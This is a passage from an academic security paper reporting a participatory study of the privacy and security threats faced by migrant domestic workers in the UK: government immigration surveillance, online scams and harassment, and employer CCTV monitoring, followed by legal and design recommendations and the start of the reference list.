Based on participants’ answers, we identified three main
categories of threats to MDWs: government surveillance,
online scams and harassment, and employer monitoring. In
our data walkthrough workshop, we asked participants to rank
the threats from the most to the least they were concerned
about, which resulted in the order listed above. This was a
surprising finding as we had expected participants to be most
concerned about monitoring by employers [14] with whom
they had the most interaction in their daily lives. However,
participants considered government surveillance and online
harassment to be more serious threats. Consequently, we
followed this prioritisation in our own analysis.

4.1.1 Government surveillance

The first category of threats refers to government monitoring
of MDWs to keep an eye on their immigration status. Partici-
pants reported that public bodies such as the Disclosure and
Barring Service (DBS) or the NHS could be used by authori-
ties to monitor and track MDWs and share their location and

status with the Home Office, which made them feel concerned
about their ability to work and access general practitioners.
Three participants shared that they would like to learn about
government tracking from establishments like the DBS or the
NHS as part of the privacy and security guide for MDWs.

Participants explained that those who remained and worked
in the country undocumented lived in fear of being found by
such authorities (11). One participant shared that undocu-
mented workers felt that they were being “chased after” by
the stringent immigration system in the UK. One participant
advised: “to those who don’t have [the] right to work, turn
off tracking, avoid video, don’t put [any] exact [information
about yourself].”

Even though participants had secured permanent immigra-
tion status, proximity to others who might be undocumented
meant that fear of Home Office monitoring was pervasive in
their lives. A participant described how this affected them
during the COVID-19 pandemic: “[I] hesitated to get [a]
COVID test because [I] was living with undocumented people
and [I] don’t want someone coming here to investigate.” This
experience highlighted that concerns about government track-
ing were applicable to all MDWs, whether undocumented or
not, which further affected their access to healthcare.

4.1.2 Online scams and harassment

The second source of threat is online scams and harassment.
Scams varied across different methods of fraud, such as iden-
tity theft (8), social media scams (7), mobile scams (3), and
romance scams (2). Our participants often mentioned the
need to stay alert to their surroundings as such threats were
widely present across mediums (12): “I need to be alert to
everyone else.” Participants also reported they experienced
frequent contact by scammers online and by phone: “calling
me about accident, keep calling me same voice twice a week
[. . . ] different countries.”

Harassment based on gender or immigration status was
also a concern that was raised by participants (8). Our peer
researcher reported a case of “Zoom-bombing” in which a
group of harassers infiltrated a Zoom meeting organised by
VoDW to raise awareness of MDWs’ need for legal reform
of visas. The harassers filled the chat and audio with racist
and sexist abuse. One participant recalled a situation in which
a man recruiting cleaners via Gumtree advertisements said:
“My girlfriend went back to the US, can you be my girlfriend?
But also my cleaner?” The majority of domestic workers are
women [103] like our participants, which meant that they
were more likely to experience sexual harassment and abuse
both on- and offline. Another participant described a situation
in which “you meet a guy and we like to know each other, then
he like to do more, we say no, men threaten today or tomor-
row police will come to your place.” In this way, precarious
immigration status intersected with gendered vulnerabilities,
so that “they look at vulnerability and use that to abuse you.
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Sometimes not just about sex but about money you’re earning.”
These structural factors like gender and immigration status
shaped how MDWs experienced safety and security online.

4.1.3 Employer monitoring

The third category of threats refers to how employers of do-
mestic workers monitor their performance. Twenty workers
reported they had worked in a home with a CCTV camera or
a similar monitoring device, while 7 reported they had not.
Participants’ opinions were divided over employers’ use of
CCTV cameras for monitoring. Some participants argued
these could be used to defend the house against intruders
(4) or the workers themselves against false accusations (7),
while others reported that cameras made them feel uncom-
fortable, nervous, or scared (12). One participant recalled
their experience working with cameras: “I saw it in my room
and in the kitchen. It’s visible. It can reduce violent attacks,
and harassment and workplace theft.” Another participant
described a situation where cameras would particularly be
useful to an employer bullying their worker: “[They can] slap
and spit... [the] camera will know, [and we can] use it as
[the] evidence.”

Further, others mentioned cases in which CCTV cameras
were installed in intimate areas which made them feel invaded
(3), highlighting the lack of respect and dignity that partic-
ipants sometimes felt in their workplace: “I feel being not
trusted and it’s weird that there’s always an eye on me even I
feel anxious if there’s also in the bathroom.” These divided
opinions partially explain why employer monitoring was not
viewed by participants as the most concerning threat.

The purpose of technology use in the employer’s home was
not always made clear to participants, who were left in the
dark about how and when their camera data was collected.
One participant described their experience working in “a very
high-tech house”, which made them feel that their voices
could be heard by their employer all the time: “My employer
have CCTV, hear our voice... They know what we’re talking
about, they say ‘I hear you everywhere.’ [. . . ] She knows a
guy asked my number. There’s some kind of gadget in laundry
room. I asked what’s the purpose and they said it’s for music
for both of you.” This suggests that the casual adoption of
technology in the employer’s home could make it challenging
for MDWs, who are on the other end of the power spectrum,
to openly question its inner workings.

As participants did not have direct control over the way
the data was handled and stored, it was difficult to pinpoint
whether camera recordings could benefit or harm participants.
One participant described being caught while escaping abu-
sive employment due to CCTV cameras: “It’s like a trap, a
cage. You see it as your weapon but it’s not really.” One’s data
captured by employers could be used as proof against them es-
pecially in the case of family member exemptions (see [103]
for a discussion of these legal loopholes, allowing employers

to avoid minimum wage requirements): “Photos on holiday,
in cinema, eating with employer and family, can make you
lose a court case due to the family member exemption.” The
participant expressed how she did not perceive herself as a
“family member” and that the “employer should treat [her]
with respect and dignity.” Employers could also manipulate
or delete data in their favour. One said: “[An] employer can
destroy [the data] unless the police gets there first” or can
enable access to the data, implying how participants were
aware of their lack of power over their own data.

Our findings also indicated that a lack of privacy was not
limited to digital spaces. Participants generally experienced
high levels of non-technical surveillance as well, with two
participants saying that it was worse when “the children are
the camera” because parents teach their children to report on
domestic workers and “children can make stories.” Partici-
pants also discussed the fact that they had limited physical
privacy and, thus, very little time to use their phones. One
participant recalled that one family she had worked for had
strict rules about using a phone: “Phone is not allowed there.
So, I need to hide it in the back of the toilet bowl. So, if
I go for a shower at night, I can message my family.” The
founder of VoDW also expressed similar views, noting that
the bathroom was “the only room with lock and with no cam-
era where we feel safer against our male employers.” The
bathroom simultaneously offered MDWs a space of physical
privacy, without CCTV surveillance, as well as allowed them
to connect digitally. A combined lack of physical privacy and
online privacy leads to a pervasive sense of being watched.
These anecdotes also emphasise how little personal time the
MDWs we spoke to had, which is a serious consideration for
digital privacy and educating oneself on privacy settings.

The three categories of threats described above are inter-
connected and reinforcing, as is evident in the case of dating
abuse in which men threaten to report workers to immigration
authorities. Precarious immigration status makes workers
fundamentally vulnerable to other threats like online scams
and interpersonal abuse from partners or neighbours.

4.2 Impact and harms

This section addresses RQ2 by exploring how the identified
threats had an impact on participants, which was notable in
technology-enabled mediums such as social media.

Participants noted that their experiences online had led to a
lack of trust in others and in the institutions that monitored
them (23); many of the MDWs we spoke to said it was “really
hard for me to trust anyone. That’s why I don’t go out.” This
fear and mistrust permeated MDWs’ everyday life and made
it harder to form relationships in their new country (6).

The fear was particularly pronounced in online interac-
tions: workers described mistrusting messages from strangers
and even from family members, feeling that they might be
subject to scams or identity theft (5). This was particularly
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damaging given the centrality of technology and social me-
dia for contacting family abroad. Several workers described
receiving help from their employers to figure out what an
online scam was (3). One participant described changing her
name on Facebook and hiding information about her work-
place because “people can take advantage of your situation”;
someone who knew where she worked could report her to
the Home Office. Participants described how fear of being
reported to the Home Office as a form of retaliation or as part
of accessing social support impacted their day-to-day lives
negatively (6). For example, one worker noted: “in the flat
I’m renting if there’s ever a fight, maybe she will report to
immigration. Being undocumented, if you’re socialising with
anyone, you have to be humble, don’t be boastful or arrogant
so they don’t report you.”

Scammers and other malicious actors were able to harm
participants due to hostile environment policies which turn
day-to-day public services into sites that could be used for
detention and deportation, leaving uncertainty about and low
public trust in places of accessible support. The impact was
harmful because participants had limited social support and
serious reservations about accessing services like the NHS
and the police. An undocumented worker, who is fearful of
being found by government authorities, would be less likely
than a documented one to seek external help. This made
participants particularly vulnerable to scammers – something
that several workers were aware of and noted, remarking that
“hackers” could “use [their] status” (2).

The precarity of the worker status also sheds light on depen-
dent relationships among workers themselves. For example,
one workshop participant, who lived alongside other MDWs,
noted that they were “not that strict,” but that they told work-
ers to “be careful because if they get in trouble, I get in trouble.
[I’m] not trying to control them.” When workers live with
someone else who may have a precarious immigration status,
it obliges them to be conscious of not only their own safety
but also that of others. Therefore, workers’ understandings of
safety and security were highly relational, as we describe in
the next section.

Although the MDW community was clearly valued for the
positive impact it could have on wellbeing and security, many
domestic workers we spoke to still seemed to feel responsible
for themselves and often used language to suggest that no
one else could protect them (5). The lack of trust in systems,
employers, and institutions manifested itself in loneliness and
isolation from society, as well as potential health impacts due
to fear of accessing health services.

4.3 Sources of safety

This section addresses RQ3 and RQ5 by describing the actions
that MDWs had previously taken to address their concerns,
as well as further necessary changes to ensure a safer environ-
ment for MDWs. Sources of safety identified by participants

can be categorised into three broad themes: 1) a sense of com-
munity, 2) control and knowledge about “keeping yourself
safe”, and 3) advocacy for legal reform and structural change
that is necessary for meaningful safety.

Sense of community. Sense of community was a key el-
ement that helped participants navigate the aforementioned
threats and negative impacts. Several participants reported
that VoDW was their main community that they considered
as family (6). One participant dedicated their ability to thrive
as a domestic worker to the organisation: “Having a commu-
nity, a family here in the UK is very helpful to us. . . because
[being] away from the family is a challenge for us. . . They
will look after you, and give you, not only financial matters,
[but also] emotional and spiritual [aid] and everything you
will [need] to survive. You will pass all the challenges with
the help of the community, which is the biggest help for me.”

As a result of the inability to trust people from outside,
the MDW community formed a strong ‘in-group’ that filled
gaps in support. Membership in this community also carried
a corresponding sense of obligation, with one participant
saying: “Each one of us has the responsibility to look after
each other. We are responsible for the whole community.” In
the absence of care from family members, who were usually
not in the country, or from the government, which many
participants described with fear, participants often practiced
regular care towards each other. Although VoDW is primarily
concerned about providing immigration support and advice on
visas, it also educates and advises MDWs on digital privacy
issues and digital literacy.

Social media also enabled workers to reach out and main-
tain contact with those that made them feel part of the commu-
nity; according to one participant, “it’s comfortable [because]
through social media I can keep in touch with my relatives
[and] friends that in far country.” This was particularly useful
given the international background of the workers whose so-
cial networks might be located outside their resident country:
“I feel good by using social media because of social media we
are now able to interact with thousands people all over the
world. . . This is why we see people who have thousands of
Facebook friends.” Another participant added: “I feel confi-
dent using social media, because I can communicate with my
family back home and find any information I need.” However,
as discussed earlier, this conversely also made MDWs more
vulnerable to scams and harassment on social media.

Control and knowledge. Many MDWs we spoke to also
described the importance of “keeping [myself] safe”; i.e., the
importance of looking out for oneself. Participants empha-
sised the importance of keeping personal details private and to
not put personal information on social media (12), particularly
information about financial success (1).

Participants offered insights into the way workers can keep
themselves safe online; for example, according to one partici-
pant, “my simple advice that I can give to the other migrant
workers to stay safe online, please think twice before going
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to unsafe websites, put strong password[s], and do not store
a lot of personal info online. Also don’t reply [to] messages
from people they don’t know.” The popular consensus among
participants (8) was to enable the settings in a way that they
could decrease the chances of strangers with malicious in-
tent: “Use private so that no one will connect me, like people
I don’t know.” Several showed detailed knowledge such as
limiting location sharing and access by “friends of friends.”
Many participants also expressed enthusiasm about learning
more about online privacy, and participants asked us several
questions relating to this; e.g., one participant asked if it was
risky to charge one’s phone at the airport, while another asked
about what to do if they became a victim of an online scam.

Knowledge is important to facilitate a sense of safety. Par-
ticipants (8) reported the significance of being aware of CCTV
camera locations and how that contributed to their sense of
safety and dignity: “The CCTV camera is on the door, you
know the aisle, the door, not on the bedrooms... on where peo-
ple get into the house and contents that surround the house.
Not on inside. For me [this is] very important.” Personal
devices such as phones were used to enhance their awareness:
“It’s very important for us to know where the cameras are.
Actually for my current job, all their CCTVs, I have access
on my phone. So, when the door rings, I have access, I can
see who is outside through my phone.” While it was rare that
participants had personal access to camera footage in this way,
this participant reported much more trust in her employer as
a result. Some participants were even vocal about their rights
to privacy and the need to draw a boundary where cameras
were no longer acceptable: “They (the employers) told us they
will put [a] camera... [but I said] not near [the] bedroom. I
said, ‘that’s my privacy. Don’t they dare.’”

Legal reform and structural change. When asked what
kinds of support they needed to stay safe, some workers specif-
ically called for reinstating “the pre-2012 rights for domestic
workers” (3). One participant said: “If we have right to renew
visa and work freely, socialise without fear, you can work
freely and employer cannot touch you and cannot threaten
you. There’s no burden on your shoulder.” This reflects the
mobilised and politicised aspects of VoDW, which organises
campaigns for legal and structural reform. It also shows how
fundamental these legal regimes are to workers’ safety; no
analysis of MDWs’ online safety would be complete without
considering immigration regimes which impact every other
aspect of MDWs’ working and private lives.

Although participants had a strong understanding of what
kind of legal reform of immigration rules was needed, they
were not certain about how laws governing technologies could
protect them. For example, when we asked participants if they
had questions for us, one asked: “Is it legal to record workers
in your home? Is it an invasion of privacy?” To answer these
questions, we realised that the UK law on CCTV camera
recording in the home is both complex and ambiguous8.

8We asked participants if they had any questions during the workshops.

CCTV camera installations in privately-owned homes are
legal as long as CCTV cameras do not record those outside
the property [61]. Yet, it is unclear what this means for do-
mestic workers, who often face pervasive and sometimes
covert surveillance. Under the UK Data Protection Act, covert
surveillance is only lawful if the person recording has genuine
suspicions of criminal activity. It must be strictly targeted
at gathering evidence linked to that activity, and cannot go
beyond what is necessary for the investigation (ICO) [61]. In
data protection laws, similar to employment laws, the right
to privacy of a family is often used as an exemption from
protection that workers need (ILO C189 [62]).

The most available sources of information online are web-
sites for employers from nanny agencies9 or surveillance
equipment vendors10 on “how to keep a legal eye on your
babysitter”. These have sometimes contradictory information
which seems dubious.

Further, even when a clear violation (e.g., covert surveil-
lance in private spaces such as bedrooms or bathrooms) oc-
curs, it is not clear what recourse to justice workers may have.
The ambiguous nature of current laws results in inconsis-
tent interpretation of one’s status and rights, forming a root
cause of constant insecurity. In our digital privacy and secu-
rity guide, we point to legal bodies that can support workers
when subject to the aforementioned threats or harms. How-
ever, these are highly context-specific and, in reality, may be
complex and costly for workers themselves. Our work sheds
light on the fundamental need for supporting MDWs’ digital
privacy and security not only in technology design but also
through legal and employment rights.

5 Discussion

Based on our findings, we describe the study’s lessons and
takeaways in §5.1, as well as methodological and design
implications of the research undertaken (including potential
avenues for future research) in §5.2.

5.1 Key lessons and takeaways
5.1.1 Importance of intersectionality and power

We argue that domestic workers should not be blamed for the
digital privacy and security threats we identified in this paper.
Our findings highlight the need for the privacy and security lit-
erature to consider intersecting forms of marginalisation (due
in part to different levels of social and economic power) (see

Their questions and our (desk-based) research to answer these questions
were part of PTM. This explains why we present as part of our findings
both the questions and our research on UK data protection law to answer the
questions.

9https://www.elitenannycompany.co.uk/
trusting-your-nanny-to-nanny-cam-or-not/

10https://www.spyequipmentuk.co.uk/
how-to-keep-a-legal-eye-on-your-babysitter/
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§2.2) and the broader social structures that create insecurity,
and we echo calls to “discuss the value of intersectionality as
a framework for understanding vulnerability to harms in se-
curity research” [48]. Not doing so leaves key vulnerabilities
and threats unaddressed and functionally contributes to the
further marginalisation of people disproportionately impacted
by those threats like MDWs. This resonates with security re-
search on refugees, finding that online scams target people’s
specific vulnerabilities [105].

Our participants’ threat prioritisation (see §4.1) reflects
the different impacts of surveillance on people with different
social and legal statuses. Past research on domestic work-
ers [15] has documented how the fear of losing jobs stopped
workers from being able to negotiate CCTV camera use with
employers. MDWs both share these concerns of precarious
workers and have to worry about the risk of being reported
and deported, even for some who entered the country us-
ing a legal route and then experienced labour exploitation or
abusive employers. Furthermore, losing a job can in some
circumstances lead to losing legal status if workers cannot
find a new employer.

Particularly, we see a need to address the relationship be-
tween digital security and political phenomena, such as the
hostile environment (see §2.2.2), fomenting conditions for
high levels of security risk. Given that immigration policies
(and technology, for that matter) do not exist in a vacuum, our
research highlights that the digital security risks created by the
hostile environment play out in the lives of MDWs through
gendered and racialised forms that are further inflected by
the labour precarity characterising domestic work in the UK.
Labour precarity, immigration enforcement, and targeted gen-
dered violence all intertwine to create a set of digital security
threats that the literature currently neglects.

Inclusion of the threats that marginalised communities dis-
proportionately face is a first step towards an ability to analyse
and address these threats. Digital security researchers should
also expand our methodological approaches to clearly address
the direct relationship between oppressive socio-political
structures and resulting digital insecurities. To do this, techni-
cal approaches are necessary but insufficient; non-technical
interventions are also needed. This resonates with research
on undocumented migrants [53] and queer people [48], which
found that research on marginalised groups often results in
recommendations for structural changes to best protect these
groups of people. Thus, although we conclude this paper with
a section on design implications (see §5.2.2), we also focus
on legal reform and non-technical interventions (see §5.1.2).

Politically contextualised analysis also offers security re-
searchers insights into broader questions about the conceptual
tools we use and assumptions we make. For example, our
findings show that security design and privacy laws favour
homeowners as the relevant subjects in cases where domestic
workers are “guests” or “bystanders” (see §4.3). What impli-
cations and insights might result from disrupting this norm?

Or, as another example, we noted that our participants often
described both vulnerability and security in social/communal
forms (see §4.3); i.e., a risk to one person often extended
to threaten more than just that person. This highlights that
individualistic models of vulnerability and security do not suf-
ficiently capture the real-world experiences of these concepts.

5.1.2 Legal and structural reform is necessary for safety

Our participants were clear that legal reform was a necessary
change they needed to be safe online. First and foremost, this
included re-instating the pre-2012 domestic workers’ rights,
which allowed workers to renew their visas and to ensure
there was a route to settlement. The current visa regime cre-
ates unnecessary precarity which opens up MDWs to various
on- and offline abuses from their employers, people in their
social circles, and law enforcement. This has a direct impact
on workers’ privacy and security. For example, it would be
relatively easy for a worker to confront their employer about
surveillance if that worker had secure immigration status.

This finding differs from previous security research with
migrants in the US, which found that “their understanding of
government surveillance risks is vague and met with resigna-
tion” [53]. This may reflect the politicised nature of VoDW
as well as illustrate potential risks of universalising differ-
ent migrant people’s experiences across different countries,
nationalities, and legal situations. There may be significant
variations even within any group of people, and qualitative
research often does not aim for generalisation.

The government and employers must take responsibility
for protecting workers’ privacy and safety. The government
needs to work with grassroots organisations like VoDW and
Migrants Organise to improve work conditions in the UK,
create a safe environment, and protect workers’ human rights.
Employers need to understand domestic workers’ right to
privacy and safety, and refrain from excessive monitoring.

Secondly, the UK law on indoor surveillance devices needs
more clarity with regard to workers whose workplace is in
someone else’s household. There needs to be a clear prohibi-
tion of covert, non-consensual surveillance of domestic work-
ers. Clear routes for restitution in cases of invasive recording
or unnecessary data sharing are also needed. Laws to regu-
late or even ban covert surveillance devices would also help
curtail abusive use of these technologies.

Lastly, creating safe conditions for MDWs will require
ending hostile environment policies; the hostile environment
tries to make the UK inhospitable to undocumented migrants,
ultimately creating violent and discriminatory realities for all
migrants as well as people of colour.

Data sharing across different and unrelated government
institutions, such as the Home Office and the NHS, is a major
barrier to MDWs feeling safe and being comfortable access-
ing healthcare (see §4.1.1). Similarly, police sharing data
of victims of crime with immigration enforcement can leave
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migrants fearful of reporting abuse. As an intermediary step
to ending the hostile environment, we call for data sharing
firewalls between immigration enforcement and data systems
for healthcare and reporting crimes. MDWs in the UK should
be able to access healthcare freely through a truly universal
NHS, regardless of citizenship and immigration status.

5.2 Implications and future research

5.2.1 Methodological recommendations

Build with existing community sources of safety and trust.
Many of the most significant sources of safety in MDWs’ lives
are not necessarily technical but social and communal like
membership in community support networks (see §4.3). In a
situation where MDWs often could not trust others, especially
online, participation in VoDW became a way of creating secu-
rity for themselves and each other. This resonates with similar
findings based on research with activists [4], refugees [105],
sex workers [111], and queer people [48], demonstrating the
importance of community support groups and collective secu-
rity. Instead of suggesting new technical solutions in isolation
from practitioners on the ground, digital security researchers
can build on top of these existing sources of safety by part-
nering with community organisations to develop their infor-
mation security capacity [109]. Participatory action research
offers researchers a method to implement this.

Employ participatory action research as a security
method. Methods like PTM offer a way to understand the
power imbalances described above and centre marginalised
communities’ experiences. By asking participants to define
their own threats, we developed a more robust threat model
than we would have if we had pre-determined a single threat
actor (e.g., employer surveillance) or technology (e.g., smart
homes devices) to focus on. This also allowed us to map
how different forms of threats reinforce each other. PTM
shows that different groups of people have different threat
models, affecting how they perceive threats, how they de-
fine generic concepts like online safety, privacy, and security,
and what methods and mechanisms they employ to defend
against those perceived threats. Future research should seek
to further distill and differentiate to determine the needs of
different groups, particularly marginalised communities. This
can also involve thinking about the different regional, cultural,
and geographic issues each community might face. However,
security researchers should take care to avoid research part-
nerships that are extractive or cause harm to the communities
they intend to support [125].

Create pragmatic resources for participants. Developing
the digital privacy and security guide in collaboration with our
participants helped us identify gaps in existing support and
ambiguities in current legal systems that make domestic work-
ers more vulnerable. In this way, the process of putting to-
gether a guide unearths areas where research, reform, or more

information is needed in a process that combines action and
research. The participatory action research method, including
cycles of action and reflection and combining activism and
research, could be used to develop further security resources
for groups that experience multiple forms of marginalisation.
This also creates a pragmatic resource with a direct benefit
for MDWs. As our peer researcher has put it, “I hope in the
long term, Voice of Domestic Workers can use this to educate
MDWs and others to better protect themselves online because
many domestic workers are turning to social media as their
way to ease their isolation and vulnerability.” This supports
calls from past research for “community-appropriate educa-
tional resources” [53]. However, solutions like the guide,
which can contribute to the knowledge and resources that
MDWs have to keep themselves safe, may also have the unfor-
tunate effect of transferring the burden of “safety work” [55]
onto those already burdened by precarity and abuse. This is
why legal change and structural reform are also necessary for
meaningful safety.

With regard to our own digital privacy and security guide,
we believe it is crucial to translate the guide into other lan-
guages, such as Tagalog, which can increase the reach of this
information and make it more beneficial for the communities
whom it best serves. To continue to improve the guide, we
would also encourage members of the privacy and security
community to provide feedback. We also see the need for
organising workshops with MDWs on the issues of privacy
and security. In the past, Reconfigure ran feminist cybersecu-
rity workshops [108], which could provide advice in a more
personalised setting, as well as respond to topical changes
(e.g., changes in the privacy policies of tech firms). Such
workshops would also generate questions and key points for
future guides. We have organised one follow-up workshop
with VoDW to disseminate the guide and get feedback.

Advise employers. Alongside updated and translated
guides for MDWs, we believe that a guide for employers
could be beneficial in circumstances where employers may
not be aware of how technology can violate their employees’
rights or, indeed, what their employees’ legal rights are at all.

Include users from a variety of backgrounds in user
studies. Users have different privacy and security needs based
on different life experiences. Aggregate descriptions of a
population tend to obscure hidden populations such as MDWs,
who may be more difficult to include in research. In missing
communities like MDWs, security research will also miss the
specific needs of and threats faced by these populations and,
therefore, leave key vulnerabilities unaddressed.

5.2.2 Design implications

Balance the needs of device owners and other stakeholders.
Technical interventions that help protect the safety and privacy
of MDWs and marginalised communities include designing
access control mechanisms and privacy settings that MDWs
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can configure to protect their privacy [133]. Past research
with survivors of IPV has shown the importance of robust
multi-user security and privacy controls as well as designing
surveillance devices to make it more obvious when they are
on through visual or auditory clues. [71]. Crucially, such
configurations should not only prioritise the home or device
owner. Existing literature [132] only discusses use cases like
“only allowing guests and domestic workers to access smart
home devices while in the house”.

However, the findings we reported on CCTV camera data
ownership (see §4.1.3) show that domestic workers may need
to use footage to document abuse. This would likely only
be possible if workers could access this footage after leaving
the physical premises of the house, perhaps because they left
exploitative employment. Use cases which solely consider
homeowners’ safety ignore the needs, vulnerabilities, and
rights of other people in the house who are affected by tech-
nology use. Access control policies and mechanisms should
include the possibility of sharing data with workers and other
guests in the house by; e.g., giving them access to footage
that was recorded while they were physically in the house.

Minimise opportunities for covert surveillance. In line
with past findings [15, 63], we found that our MDW partici-
pants were very uneasy with the existence of secret recording
devices (§4.1.3). Device manufacturers should not produce
cameras and other surveillance devices meant to be hidden
for the consumer market; such devices are particularly likely
to be used in ways which are unethical and abusive. Features
like blinking lights which indicate recording can help make
surveillance more transparent to all stakeholders in the house-
hold. Prior work has found that signalling mechanisms and
bystanders’ ability to control data collection in some way had
a significant effect on acceptability [30, 34, 47, 106, 107, 120].

Make privacy settings accessible. The experiences of
MDWs highlight how critical social media settings and con-
trols like restricting posts to only certain trusted members
can be (see §4.3). For vulnerable groups like MDWs, this is
not only a matter of privacy but can also impact their psycho-
logical, financial, and physical security. Past research with
survivors of IPV has shown the importance of robust multi-
user controls. Therefore, it is important that such controls
are designed to be easily comprehensible and accessible to
a variety of groups through, for example, translating them
into multiple languages and avoiding jargon. Prior work has
found that bystanders have misunderstandings of and miscon-
ceptions about device data practices, even if they are aware
of the existence of devices in their environment [2, 81]. Even
when bystanders understand the implications of different data
practices, they do not have ways to express their privacy pref-
erences [2, 15, 63, 81, 127].

Nudge employers towards ethical device use. Some em-
ployers may not be malicious but may participate in use cases
that are abusive. As a result, product packaging and notifi-
cations, particularly during installation, could nudge owners

of devices towards following important norms. For exam-
ple, CCTV cameras or nanny monitors could remind users
that these devices should not be located in private or intimate
places like bedrooms or bathrooms, informing them that do-
ing so would be illegal as well as unethical. Similarly, they
could remind users to inform other people in the house about
recording devices and prompt them to ask for consent before
recording others. This may increase transparency and ethical
behaviour, which in turn improves workplace relationships.
Future research should explore the efficacy of nudging users
towards ethical behaviour towards others in the household or
at least abstaining from unethical behaviour like monitoring.

Stop developing harmful surveillance systems. Security
research often supports the development of surveillance tech-
nologies in an attempt to prevent harms. Our findings high-
light a need for a shift in the attitude of security researchers
towards these technologies. Our work highlights the indis-
putable harms that those surveillance technologies enable in
the lives of marginalised groups (see No Tech for Tyrants11).
We argue security researchers must consider and seriously
weigh the impacts that the development of surveillance tech-
nologies may have on the most marginalised people. As such,
we call on researchers to avoid developing surveillance sys-
tems and collaborating with border enforcement entities.

6 Conclusion

Using the method of PTM with 32 MDWs in the UK, we de-
fine a threat model for MDWs, which includes intertwined and
reinforcing threats: immigration surveillance, online scams
and harassment, and employer monitoring. These threats
leave MDWs vulnerable and isolated from broader society
and critical services like healthcare. While community and
social support networks such as VoDW provide a source
of safety against these threats, digital privacy and security
research needs to consider marginalised communities like
MDWs. Threats to individual privacy and safety are exac-
erbated by offline societal issues like hostile immigration
policies. We must collaborate with vulnerable populations
when designing security frameworks and legal guidelines to
ensure no one is left behind. Instead of becoming victims
trapped in hidden surveillance, communities like MDWs can
be active participants in creating a safer digital world.

Acknowledgements

This project would not exist without the contributions of
community partners and workshop participants throughout
the project. We also thank our reviewers and shepherd, as
well as Natalie Sedacca, for helpful comments. This work
was supported in part by a UK Research & Innovation grant
(BB/T018593/1).

11https://notechfortyrants.org/

USENIX Association 31st USENIX Security Symposium    335

https://notechfortyrants.org/


References
[1] Noura Abdi, Kopo M. Ramokapane, and Jose M. Such. More

than smart speakers: Security and privacy perceptions of smart home
personal assistants. In USENIX Symposium on Usable Privacy and
Security (SOUPS), pages 451–466, Santa Clara, CA, USA, 2019.

[2] Imtiaz Ahmad, Rosta Farzan, Apu Kapadia, and Adam J. Lee. Tan-
gible privacy: Towards user-centric sensor designs for bystander pri-
vacy. Proceedings of the ACM on Human-Computer Interaction,
4(CSCW):1–28, 2020.

[3] Tousif Ahmed, Apu Kapadia, Venkatesh Potluri, and Manohar Swami-
nathan. Up to a limit?: Privacy concerns of bystanders and their
willingness to share additional information with visually impaired
users of assistive technologies. Proceedings of the ACM on Inter-
active, Mobile, Wearable and Ubiquitous Technologies (IMWUT),
2(3):89:1–89:27, September 2018.

[4] Martin R. Albrecht, Jorge Blasco, Rikke Bjerg Jensen, and Lenka
Mareková. Collective information security in large-scale urban
protests: The case of Hong Kong. In USENIX Security Symposium
(USENIX Security), pages 3363–3380, August 2021.

[5] Noura Aleisa and Karen Renaud. Privacy of the Internet of Things:
A systematic literature review. In Hawaii International Conference
on System Sciences (HICSS), 2017. Extended version available at
https://arxiv.org/abs/1611.03340.

[6] Irwin Altman. The environment and social behaviour: Privacy,
personal space, territory, and crowding. Brooks/Cole Publishing
Company, 1975.

[7] Mark Andrejevic. Big data, big questions: The big data divide.
International Journal of Communication, 8(0), 2014.

[8] Noah Apthorpe, Yan Shvartzshnaider, Arunesh Mathur, Dillon Reis-
man, and Nick Feamster. Discovering smart home Internet of Things
privacy norms using contextual integrity. Proceedings of the ACM on
Interactive, Mobile, Wearable and Ubiquitous Technologies (IMWUT),
2(2), June 2018.

[9] Till Ballendat, Nicolai Marquardt, and Saul Greenberg. Proxemic
interaction: Designing for a proximity and orientation-aware environ-
ment. In ACM International Conference on Interactive Tabletops and
Surfaces (ITS), pages 121–130, 2010.

[10] Natã M. Barbosa, Zhuohao Zhang, and Yang Wang. Do privacy
and security matter to everyone? Quantifying and clustering user-
centric considerations about smart home device adoption. In USENIX
Symposium on Usable Privacy and Security (SOUPS), pages 417–435,
August 2020.

[11] Scott Beach, Richard Schulz, Julie Downs, Judith Matthews, Bruce
Barron, and Katherine Seelman. Disability, age, and informational pri-
vacy attitudes in quality of life technology applications: Results from
a national web survey. ACM Transactions on Accessible Computing,
2(1):5:1–5:21, May 2009.

[12] Johanna Bergman and Isabelle Johansson. The user experience
perspective of Internet of Things development. Master’s thesis, Certec,
Department of Design Sciences, LUND University, Lund, Sweden,
2017.

[13] Johanna Bergman, Thomas Olsson, Isabelle Johansson, and Kirsten
Rassmus-Gröhn. An exploratory study on how Internet of Things
developing companies handle user experience requirements. In Re-
quirements Engineering: Foundation for Software Quality, volume
10753 LNCS, pages 20–36, Germany, 2018.

[14] Julia Bernd, Ruba Abu-Salma, Junghyun Choy, and Alisa Frik. Bal-
ancing power dynamics in smart homes: Nannies’ perspectives on
how cameras reflect and affect relationships. In USENIX Symposium
on Usable Privacy and Security (SOUPS), Boston, MA, USA, 2022.
To appear.

[15] Julia Bernd, Ruba Abu-Salma, and Alisa Frik. Bystanders’ privacy:
The perspectives of nannies on smart home surveillance. In USENIX
Workshop on Free and Open Communications on the Internet (FOCI),
August 2020.

[16] Clara Berridge and Terrie Fox Wetle. Why older adults and their
children disagree about in-home surveillance technology, sensors, and
tracking. The Gerontologist, 60(5):926–934, 2020.

[17] Nellie Bowls. Thermostats, locks and lights: Digital tools of domestic
abuse. New York Times, June 2018. Accessed: 23 July, 2018.

[18] danah boyd and Kate Crawford. Critical questions for big data:
Provocations for a cultural, technological, and scholarly phenomenon.
Information, Communication, & Society, 15(5):662–679, 2012.

[19] Virginia Braun, Victoria Clarke, Nikki Hayfield, Naomi P. Moller,
and Irmgard Tischner. Qualitative story completion: A method with
exciting promise. Springer, 2017.

[20] Alison Burrows, David Coyle, and Rachael Gooberman-Hill. Pri-
vacy, boundaries and smart homes for health: An ethnographic study.
Health & Place, 50:112–118, 2018.

[21] George Chalhoub. The UX of things: Exploring UX principles to
inform security and privacy design in the smart home. In ACM Con-
ference on Human Factors in Computing Systems (CHI): Extended
Abstracts, New York, NY, US, 2020.

[22] George Chalhoub and Ivan Flechais. “Alexa‚ are you spying on me?”:
Exploring the effect of user experience on the security and privacy
of smart speaker users. In International Conference on Human-
Computer Interaction (HCII), 2020.

[23] George Chalhoub, Ivan Flechais, Norbert Nthala, and Ruba Abu-
Salma. Innovation inaction or in action? The role of user experience
in the security and privacy design of smart home cameras. In USENIX
Symposium on Usable Privacy and Security (SOUPS), 2020.

[24] George Chalhoub, Ivan Flechais, Norbert Nthala, Ruba Abu-Salma,
and Elie Tom. Factoring user experience into the security and privacy
design of smart home devices: A case study. In ACM Conference on
